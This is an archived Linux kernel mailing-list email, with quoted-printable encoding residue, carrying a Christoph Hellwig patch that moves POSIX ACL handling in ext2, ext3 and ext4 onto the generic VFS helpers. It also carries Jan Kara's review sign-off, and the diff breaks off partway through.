ext4_xattr_user_handler; > > extern const struct xattr_handler ext4_xattr_trusted_handler; > > -extern const struct xattr_handler ext4_xattr_acl_access_handler; > > -extern const struct xattr_handler ext4_xattr_acl_default_handler; > > extern const struct xattr_handler ext4_xattr_security_handler; > > > > extern ssize_t ext4_listxattr(struct dentry *, char *, size_t); > > -- > > 1.7.10.4 > > > > > > -- > > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" > in > > the body of a message to majordomo@vger.kernel.org > > More majordomo info at http://vger.kernel.org/majordomo-info.html > -- > Jan Kara > SUSE Labs, CR > > > ------------------------------------------------------------------------------ > Rapidly troubleshoot problems before they affect your business. Most IT > organizations don't have a clear picture of how application performance > affects their revenue. With AppDynamics, you get 100% visibility into your > Java,.NET, & PHP application. Start your 15-day FREE TRIAL of AppDynamics > Pro! > http://pubads.g.doubleclick.net/gampad/clk?id=84349351&iu=/4140/ostg.clktrk > _______________________________________________ > Jfs-discussion mailing list > Jfs-discussion@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/jfs-discussion > --047d7b6d9b16abcffb04ec9490ed Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Really nice to see all the sudden activity here in JFS aga= in!


= On Mon, Dec 2, 2013 at 2:13 PM, Jan Kara <jack@suse.cz> wrote:
On Sun 01-12-13 03:59:11, Christoph Hellwig = wrote:
> Signed-off-by: Christoph Hellwig <hch= @lst.de>
=A0 Looks good. You can add:
Reviewed-by: Jan Kara <jack@suse.cz&= gt;

=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0= =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 Honza

> ---
> =A0fs/ext2/acl.c =A0 | =A0176 ++++------------------------------------= -----
> =A0fs/ext2/acl.h =A0 | =A0 =A08 +--
> =A0fs/ext2/file.c =A0| =A0 =A01 +
> =A0fs/ext2/inode.c | =A0 =A02 +-
> =A0fs/ext2/namei.c | =A0 =A02 +
> =A0fs/ext2/xattr.c | =A0 =A08 +--
> =A0fs/ext2/xattr.h | =A0 =A02 -
> =A0fs/ext3/acl.c =A0 | =A0213 ++++++++--------------------------------= ---------------
> =A0fs/ext3/acl.h =A0 | =A0 =A09 +--
> =A0fs/ext3/file.c =A0| =A0 =A01 +
> =A0fs/ext3/inode.c | =A0 =A02 +-
> =A0fs/ext3/namei.c | =A0 =A02 +
> =A0fs/ext3/xattr.c | =A0 =A08 +--
> =A0fs/ext3/xattr.h | =A0 =A02 -
> =A0fs/ext4/acl.c =A0 | =A0213 ++++++++--------------------------------= ---------------
> =A0fs/ext4/acl.h =A0 | =A0 =A09 +--
> =A0fs/ext4/file.c =A0| =A0 =A01 +
> =A0fs/ext4/inode.c | =A0 =A02 +-
> =A0fs/ext4/namei.c | =A0 =A02 +
> =A0fs/ext4/xattr.c | =A0 =A08 +--
> =A0fs/ext4/xattr.h | =A0 =A02 -
> =A021 files changed, 100 insertions(+), 573 deletions(-)
>
> diff --git a/fs/ext2/acl.c b/fs/ext2/acl.c
> index 6e842a7..f04a295 100644
> --- a/fs/ext2/acl.c
> +++ b/fs/ext2/acl.c
> @@ -189,8 +189,8 @@ ext2_get_acl(struct inode *inode, int type)
> =A0/*
> =A0 * inode->i_mutex: down
> =A0 */
> -static int
> -ext2_set_acl(struct inode *inode, int type, struct posix_acl *acl) > +int
> +ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type) > =A0{
> =A0 =A0 =A0 int name_index;
> =A0 =A0 =A0 void *value =3D NULL;
> @@ -250,169 +250,21 @@ ext2_set_acl(struct inode *inode, int type, str= uct posix_acl *acl)
> =A0int
> =A0ext2_init_acl(struct inode *inode, struct inode *dir)
> =A0{
> - =A0 =A0 struct posix_acl *acl =3D NULL;
> - =A0 =A0 int error =3D 0;
> -
> - =A0 =A0 if (!S_ISLNK(inode->i_mode)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 if (test_opt(dir->i_sb, POSIX_ACL)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 acl =3D ext2_get_acl(dir, AC= L_TYPE_DEFAULT);
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return PTR_E= RR(acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 =A0 =A0 =A0 =A0 if (!acl)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 inode->i_mode &=3D ~c= urrent_umask();
> - =A0 =A0 }
> - =A0 =A0 if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > - =A0 =A0 =A0 =A0 =A0 =A0 if (S_ISDIR(inode->i_mode)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext2_set_acl(inode= , ACL_TYPE_DEFAULT, acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (error)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto cleanup= ;
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 =A0 =A0 =A0 =A0 error =3D __posix_acl_create(&acl, GFP_K= ERNEL, &inode->i_mode);
> - =A0 =A0 =A0 =A0 =A0 =A0 if (error < 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return error;
> - =A0 =A0 =A0 =A0 =A0 =A0 if (error > 0) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* This is an extended ACL *= /
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext2_set_acl(inode= , ACL_TYPE_ACCESS, acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 }
> -cleanup:
> - =A0 =A0 =A0 posix_acl_release(acl);
> - =A0 =A0 =A0 return error;
> -}
> -
> -/*
> - * Does chmod for an inode that may have an Access Control List. The<= br> > - * inode->i_mode field must be updated to the desired value by the= caller
> - * before calling this function.
> - * Returns 0 on success, or a negative error number.
> - *
> - * We change the ACL rather than storing some ACL entries in the file=
> - * mode permission bits (which would be more efficient), because that=
> - * would break once additional permissions (like =A0ACL_APPEND, ACL_D= ELETE
> - * for directories) are added. There are no more bits available in th= e
> - * file mode.
> - *
> - * inode->i_mutex: down
> - */
> -int
> -ext2_acl_chmod(struct inode *inode)
> -{
> - =A0 =A0 struct posix_acl *acl;
> - =A0 =A0 =A0 =A0int error;
> + =A0 =A0 struct posix_acl *default_acl, *acl;
> + =A0 =A0 int error;
>
> - =A0 =A0 if (!test_opt(inode->i_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 if (S_ISLNK(inode->i_mode))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> - =A0 =A0 acl =3D ext2_get_acl(inode, ACL_TYPE_ACCESS);
> - =A0 =A0 if (IS_ERR(acl) || !acl)
> - =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 error =3D __posix_acl_chmod(&acl, GFP_KERNEL, inode->= i_mode);
> + =A0 =A0 error =3D posix_acl_create(dir, &inode->i_mode, &= default_acl, &acl);
> =A0 =A0 =A0 if (error)
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 return error;
> - =A0 =A0 error =3D ext2_set_acl(inode, ACL_TYPE_ACCESS, acl);
> - =A0 =A0 posix_acl_release(acl);
> - =A0 =A0 return error;
> -}
> -
> -/*
> - * Extended attribut handlers
> - */
> -static size_t
> -ext2_xattr_list_acl_access(struct dentry *dentry, char *list, size_t = list_size,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0const char *name, siz= e_t name_len, int type)
> -{
> - =A0 =A0 const size_t size =3D sizeof(POSIX_ACL_XATTR_ACCESS);
> -
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 if (list && size <=3D list_size)
> - =A0 =A0 =A0 =A0 =A0 =A0 memcpy(list, POSIX_ACL_XATTR_ACCESS, size);<= br> > - =A0 =A0 return size;
> -}
>
> -static size_t
> -ext2_xattr_list_acl_default(struct dentry *dentry, char *list, size_t= list_size,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 const char *name, si= ze_t name_len, int type)
> -{
> - =A0 =A0 const size_t size =3D sizeof(POSIX_ACL_XATTR_DEFAULT);
> -
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 if (list && size <=3D list_size)
> - =A0 =A0 =A0 =A0 =A0 =A0 memcpy(list, POSIX_ACL_XATTR_DEFAULT, size);=
> - =A0 =A0 return size;
> -}
> -
> -static int
> -ext2_xattr_get_acl(struct dentry *dentry, const char *name, void *buf= fer,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0size_t size, int type)
> -{
> - =A0 =A0 struct posix_acl *acl;
> - =A0 =A0 int error;
> -
> - =A0 =A0 if (strcmp(name, "") !=3D 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EINVAL;
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> -
> - =A0 =A0 acl =3D ext2_get_acl(dentry->d_inode, type);
> - =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 if (acl =3D=3D NULL)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -ENODATA;
> - =A0 =A0 error =3D posix_acl_to_xattr(&init_user_ns, acl, buffer,= size);
> - =A0 =A0 posix_acl_release(acl);
> -
> - =A0 =A0 return error;
> -}
> -
> -static int
> -ext2_xattr_set_acl(struct dentry *dentry, const char *name, const voi= d *value,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0size_t size, int flags, int type)
> -{
> - =A0 =A0 struct posix_acl *acl;
> - =A0 =A0 int error;
> -
> - =A0 =A0 if (strcmp(name, "") !=3D 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EINVAL;
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> - =A0 =A0 if (!inode_owner_or_capable(dentry->d_inode))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EPERM;
> -
> - =A0 =A0 if (value) {
> - =A0 =A0 =A0 =A0 =A0 =A0 acl =3D posix_acl_from_xattr(&init_user_= ns, value, size);
> - =A0 =A0 =A0 =A0 =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 else if (acl) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D posix_acl_valid(ac= l);
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (error)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto release= _and_out;
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 } else
> - =A0 =A0 =A0 =A0 =A0 =A0 acl =3D NULL;
> -
> - =A0 =A0 error =3D ext2_set_acl(dentry->d_inode, type, acl);
> -
> -release_and_out:
> - =A0 =A0 posix_acl_release(acl);
> + =A0 =A0 if (default_acl) {
> + =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext2_set_acl(inode, default_acl, A= CL_TYPE_DEFAULT);
> + =A0 =A0 =A0 =A0 =A0 =A0 posix_acl_release(default_acl);
> + =A0 =A0 }
> + =A0 =A0 if (acl) {
> + =A0 =A0 =A0 =A0 =A0 =A0 if (!error)
> + =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext2_set_acl(inode= , acl, ACL_TYPE_ACCESS);
> + =A0 =A0 =A0 =A0 =A0 =A0 posix_acl_release(acl);
> + =A0 =A0 }
> =A0 =A0 =A0 return error;
> =A0}
> -
> -const struct xattr_handler ext2_xattr_acl_access_handler =3D {
> - =A0 =A0 .prefix =3D POSIX_ACL_XATTR_ACCESS,
> - =A0 =A0 .flags =A0=3D ACL_TYPE_ACCESS,
> - =A0 =A0 .list =A0 =3D ext2_xattr_list_acl_access,
> - =A0 =A0 .get =A0 =A0=3D ext2_xattr_get_acl,
> - =A0 =A0 .set =A0 =A0=3D ext2_xattr_set_acl,
> -};
> -
> -const struct xattr_handler ext2_xattr_acl_default_handler =3D {
> - =A0 =A0 .prefix =3D POSIX_ACL_XATTR_DEFAULT,
> - =A0 =A0 .flags =A0=3D ACL_TYPE_DEFAULT,
> - =A0 =A0 .list =A0 =3D ext2_xattr_list_acl_default,
> - =A0 =A0 .get =A0 =A0=3D ext2_xattr_get_acl,
> - =A0 =A0 .set =A0 =A0=3D ext2_xattr_set_acl,
> -};
> diff --git a/fs/ext2/acl.h b/fs/ext2/acl.h
> index 503bfb0..44937f9 100644
> --- a/fs/ext2/acl.h
> +++ b/fs/ext2/acl.h
> @@ -55,7 +55,7 @@ static inline int ext2_acl_count(size_t size)
>
> =A0/* acl.c */
> =A0extern struct posix_acl *ext2_get_acl(struct inode *inode, int type= );
> -extern int ext2_acl_chmod (struct inode *);
> +extern int ext2_set_acl(struct inode *inode, struct posix_acl *acl, i= nt type);
> =A0extern int ext2_init_acl (struct inode *, struct inode *);
>
> =A0#else
> @@ -63,12 +63,6 @@ extern int ext2_init_acl (struct inode *, struct in= ode *);
> =A0#define ext2_get_acl NULL
> =A0#define ext2_set_acl NULL
>
> -static inline int
> -ext2_acl_chmod (struct inode *inode)
> -{
> - =A0 =A0 return 0;
> -}
> -
> =A0static inline int ext2_init_acl (struct inode *inode, struct inode = *dir)
> =A0{
> =A0 =A0 =A0 return 0;
> diff --git a/fs/ext2/file.c b/fs/ext2/file.c
> index a5b3a5d..44c36e5 100644
> --- a/fs/ext2/file.c
> +++ b/fs/ext2/file.c
> @@ -103,5 +103,6 @@ const struct inode_operations ext2_file_inode_oper= ations =3D {
> =A0#endif
> =A0 =A0 =A0 .setattr =A0 =A0 =A0 =A0=3D ext2_setattr,
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext2_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext2_set_acl,
> =A0 =A0 =A0 .fiemap =A0 =A0 =A0 =A0 =3D ext2_fiemap,
> =A0};
> diff --git a/fs/ext2/inode.c b/fs/ext2/inode.c
> index 8a33764..1be8866 100644
> --- a/fs/ext2/inode.c
> +++ b/fs/ext2/inode.c
> @@ -1566,7 +1566,7 @@ int ext2_setattr(struct dentry *dentry, struct i= attr *iattr)
> =A0 =A0 =A0 }
> =A0 =A0 =A0 setattr_copy(inode, iattr);
> =A0 =A0 =A0 if (iattr->ia_valid & ATTR_MODE)
> - =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext2_acl_chmod(inode);
> + =A0 =A0 =A0 =A0 =A0 =A0 error =3D posix_acl_chmod(inode);
> =A0 =A0 =A0 mark_inode_dirty(inode);
>
> =A0 =A0 =A0 return error;
> diff --git a/fs/ext2/namei.c b/fs/ext2/namei.c
> index 256dd5f..c268d0a 100644
> --- a/fs/ext2/namei.c
> +++ b/fs/ext2/namei.c
> @@ -421,6 +421,7 @@ const struct inode_operations ext2_dir_inode_opera= tions =3D {
> =A0#endif
> =A0 =A0 =A0 .setattr =A0 =A0 =A0 =A0=3D ext2_setattr,
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext2_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext2_set_acl,
> =A0 =A0 =A0 .tmpfile =A0 =A0 =A0 =A0=3D ext2_tmpfile,
> =A0};
>
> @@ -433,4 +434,5 @@ const struct inode_operations ext2_special_inode_o= perations =3D {
> =A0#endif
> =A0 =A0 =A0 .setattr =A0 =A0 =A0 =A0=3D ext2_setattr,
> =A0 =A0 =A0 .get_acl =A0 =A0 =A0 =A0=3D ext2_get_acl,
> + =A0 =A0 .set_acl =A0 =A0 =A0 =A0=3D ext2_set_acl,
> =A0};
> diff --git a/fs/ext2/xattr.c b/fs/ext2/xattr.c
> index 2d7557d..9142614 100644
> --- a/fs/ext2/xattr.c
> +++ b/fs/ext2/xattr.c
> @@ -103,8 +103,8 @@ static struct mb_cache *ext2_xattr_cache;
> =A0static const struct xattr_handler *ext2_xattr_handler_map[] =3D { > =A0 =A0 =A0 [EXT2_XATTR_INDEX_USER] =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D &am= p;ext2_xattr_user_handler,
> =A0#ifdef CONFIG_EXT2_FS_POSIX_ACL
> - =A0 =A0 [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] =A0=3D &ext2_xattr_a= cl_access_handler,
> - =A0 =A0 [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] =3D &ext2_xattr_acl= _default_handler,
> + =A0 =A0 [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] =A0=3D &posix_acl_ac= cess_xattr_handler,
> + =A0 =A0 [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] =3D &posix_acl_defa= ult_xattr_handler,
> =A0#endif
> =A0 =A0 =A0 [EXT2_XATTR_INDEX_TRUSTED] =A0 =A0 =A0 =A0 =A0 =3D &ex= t2_xattr_trusted_handler,
> =A0#ifdef CONFIG_EXT2_FS_SECURITY
> @@ -116,8 +116,8 @@ const struct xattr_handler *ext2_xattr_handlers[] = =3D {
> =A0 =A0 =A0 &ext2_xattr_user_handler,
> =A0 =A0 =A0 &ext2_xattr_trusted_handler,
> =A0#ifdef CONFIG_EXT2_FS_POSIX_ACL
> - =A0 =A0 &ext2_xattr_acl_access_handler,
> - =A0 =A0 &ext2_xattr_acl_default_handler,
> + =A0 =A0 &posix_acl_access_xattr_handler,
> + =A0 =A0 &posix_acl_default_xattr_handler,
> =A0#endif
> =A0#ifdef CONFIG_EXT2_FS_SECURITY
> =A0 =A0 =A0 &ext2_xattr_security_handler,
> diff --git a/fs/ext2/xattr.h b/fs/ext2/xattr.h
> index 5e41ccc..60edf29 100644
> --- a/fs/ext2/xattr.h
> +++ b/fs/ext2/xattr.h
> @@ -57,8 +57,6 @@ struct ext2_xattr_entry {
>
> =A0extern const struct xattr_handler ext2_xattr_user_handler;
> =A0extern const struct xattr_handler ext2_xattr_trusted_handler;
> -extern const struct xattr_handler ext2_xattr_acl_access_handler;
> -extern const struct xattr_handler ext2_xattr_acl_default_handler;
> =A0extern const struct xattr_handler ext2_xattr_security_handler;
>
> =A0extern ssize_t ext2_listxattr(struct dentry *, char *, size_t);
> diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c
> index 4f3d8fa..e9cb33f 100644
> --- a/fs/ext3/acl.c
> +++ b/fs/ext3/acl.c
> @@ -190,7 +190,7 @@ ext3_get_acl(struct inode *inode, int type)
> =A0 * inode->i_mutex: down unless called from ext3_new_inode
> =A0 */
> =A0static int
> -ext3_set_acl(handle_t *handle, struct inode *inode, int type,
> +__ext3_set_acl(handle_t *handle, struct inode *inode, int type,
> =A0 =A0 =A0 =A0 =A0 =A0struct posix_acl *acl)
> =A0{
> =A0 =A0 =A0 int name_index;
> @@ -243,204 +243,49 @@ ext3_set_acl(handle_t *handle, struct inode *in= ode, int type,
> =A0 =A0 =A0 return error;
> =A0}
>
> -/*
> - * Initialize the ACLs of a new inode. Called from ext3_new_inode. > - *
> - * dir->i_mutex: down
> - * inode->i_mutex: up (access to inode is still exclusive)
> - */
> -int
> -ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *di= r)
> -{
> - =A0 =A0 struct posix_acl *acl =3D NULL;
> - =A0 =A0 int error =3D 0;
> -
> - =A0 =A0 if (!S_ISLNK(inode->i_mode)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 if (test_opt(dir->i_sb, POSIX_ACL)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 acl =3D ext3_get_acl(dir, AC= L_TYPE_DEFAULT);
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return PTR_E= RR(acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 =A0 =A0 =A0 =A0 if (!acl)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 inode->i_mode &=3D ~c= urrent_umask();
> - =A0 =A0 }
> - =A0 =A0 if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > - =A0 =A0 =A0 =A0 =A0 =A0 if (S_ISDIR(inode->i_mode)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext3_set_acl(handl= e, inode,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 = =A0 =A0 =A0 =A0ACL_TYPE_DEFAULT, acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 if (error)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto cleanup= ;
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 =A0 =A0 =A0 =A0 error =3D __posix_acl_create(&acl, GFP_N= OFS, &inode->i_mode);
> - =A0 =A0 =A0 =A0 =A0 =A0 if (error < 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return error;
> -
> - =A0 =A0 =A0 =A0 =A0 =A0 if (error > 0) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 /* This is an extended ACL *= /
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D ext3_set_acl(handl= e, inode, ACL_TYPE_ACCESS, acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 }
> - =A0 =A0 }
> -cleanup:
> - =A0 =A0 posix_acl_release(acl);
> - =A0 =A0 return error;
> -}
> -
> -/*
> - * Does chmod for an inode that may have an Access Control List. The<= br> > - * inode->i_mode field must be updated to the desired value by the= caller
> - * before calling this function.
> - * Returns 0 on success, or a negative error number.
> - *
> - * We change the ACL rather than storing some ACL entries in the file=
> - * mode permission bits (which would be more efficient), because that=
> - * would break once additional permissions (like =A0ACL_APPEND, ACL_D= ELETE
> - * for directories) are added. There are no more bits available in th= e
> - * file mode.
> - *
> - * inode->i_mutex: down
> - */
> =A0int
> -ext3_acl_chmod(struct inode *inode)
> +ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type) > =A0{
> - =A0 =A0 struct posix_acl *acl;
> =A0 =A0 =A0 handle_t *handle;
> - =A0 =A0 int retries =3D 0;
> - =A0 =A0 =A0 =A0int error;
> + =A0 =A0 int error, retries =3D 0;
>
> - =A0 =A0 if (S_ISLNK(inode->i_mode))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> - =A0 =A0 if (!test_opt(inode->i_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 acl =3D ext3_get_acl(inode, ACL_TYPE_ACCESS);
> - =A0 =A0 if (IS_ERR(acl) || !acl)
> - =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 error =3D __posix_acl_chmod(&acl, GFP_KERNEL, inode->= i_mode);
> - =A0 =A0 if (error)
> - =A0 =A0 =A0 =A0 =A0 =A0 return error;
> =A0retry:
> - =A0 =A0 handle =3D ext3_journal_start(inode,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 EXT3_DATA_TRANS_BLOCKS(inode= ->i_sb));
> - =A0 =A0 if (IS_ERR(handle)) {
> - =A0 =A0 =A0 =A0 =A0 =A0 error =3D PTR_ERR(handle);
> - =A0 =A0 =A0 =A0 =A0 =A0 ext3_std_error(inode->i_sb, error);
> - =A0 =A0 =A0 =A0 =A0 =A0 goto out;
> - =A0 =A0 }
> - =A0 =A0 error =3D ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl);=
> + =A0 =A0 handle =3D ext3_journal_start(inode, EXT3_DATA_TRANS_BLOCKS(= inode->i_sb));
> + =A0 =A0 if (IS_ERR(handle))
> + =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(handle);
> + =A0 =A0 error =3D __ext3_set_acl(handle, inode, type, acl);
> =A0 =A0 =A0 ext3_journal_stop(handle);
> - =A0 =A0 if (error =3D=3D -ENOSPC &&
> - =A0 =A0 =A0 =A0 ext3_should_retry_alloc(inode->i_sb, &retries= ))
> + =A0 =A0 if (error =3D=3D -ENOSPC && ext3_should_retry_alloc(= inode->i_sb, &retries))
> =A0 =A0 =A0 =A0 =A0 =A0 =A0 goto retry;
> -out:
> - =A0 =A0 posix_acl_release(acl);
> =A0 =A0 =A0 return error;
> =A0}
>
> =A0/*
> - * Extended attribute handlers
> + * Initialize the ACLs of a new inode. Called from ext3_new_inode. > + *
> + * dir->i_mutex: down
> + * inode->i_mutex: up (access to inode is still exclusive)
> =A0 */
> -static size_t
> -ext3_xattr_list_acl_access(struct dentry *dentry, char *list, size_t = list_len,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0const char *name, siz= e_t name_len, int type)
> -{
> - =A0 =A0 const size_t size =3D sizeof(POSIX_ACL_XATTR_ACCESS);
> -
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 if (list && size <=3D list_len)
> - =A0 =A0 =A0 =A0 =A0 =A0 memcpy(list, POSIX_ACL_XATTR_ACCESS, size);<= br> > - =A0 =A0 return size;
> -}
> -
> -static size_t
> -ext3_xattr_list_acl_default(struct dentry *dentry, char *list, size_t= list_len,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 const char *name, si= ze_t name_len, int type)
> -{
> - =A0 =A0 const size_t size =3D sizeof(POSIX_ACL_XATTR_DEFAULT);
> -
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return 0;
> - =A0 =A0 if (list && size <=3D list_len)
> - =A0 =A0 =A0 =A0 =A0 =A0 memcpy(list, POSIX_ACL_XATTR_DEFAULT, size);=
> - =A0 =A0 return size;
> -}
> -
> -static int
> -ext3_xattr_get_acl(struct dentry *dentry, const char *name, void *buf= fer,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0size_t size, int type)
> +int
> +ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *di= r)
> =A0{
> - =A0 =A0 struct posix_acl *acl;
> + =A0 =A0 struct posix_acl *default_acl, *acl;
> =A0 =A0 =A0 int error;
>
> - =A0 =A0 if (strcmp(name, "") !=3D 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EINVAL;
> - =A0 =A0 if (!test_opt(dentry->d_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> -
> - =A0 =A0 acl =3D ext3_get_acl(dentry->d_inode, type);
> - =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 if (acl =3D=3D NULL)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -ENODATA;
> - =A0 =A0 error =3D posix_acl_to_xattr(&init_user_ns, acl, buffer,= size);
> - =A0 =A0 posix_acl_release(acl);
> -
> - =A0 =A0 return error;
> -}
> -
> -static int
> -ext3_xattr_set_acl(struct dentry *dentry, const char *name, const voi= d *value,
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0size_t size, int flags, int type)
> -{
> - =A0 =A0 struct inode *inode =3D dentry->d_inode;
> - =A0 =A0 handle_t *handle;
> - =A0 =A0 struct posix_acl *acl;
> - =A0 =A0 int error, retries =3D 0;
> -
> - =A0 =A0 if (strcmp(name, "") !=3D 0)
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EINVAL;
> - =A0 =A0 if (!test_opt(inode->i_sb, POSIX_ACL))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EOPNOTSUPP;
> - =A0 =A0 if (!inode_owner_or_capable(inode))
> - =A0 =A0 =A0 =A0 =A0 =A0 return -EPERM;
> -
> - =A0 =A0 if (value) {
> - =A0 =A0 =A0 =A0 =A0 =A0 acl =3D posix_acl_from_xattr(&init_user_= ns, value, size);
> - =A0 =A0 =A0 =A0 =A0 =A0 if (IS_ERR(acl))
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 return PTR_ERR(acl);
> - =A0 =A0 =A0 =A0 =A0 =A0 else if (acl) {
> - =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 error =3D posix_acl_valid(ac= l);
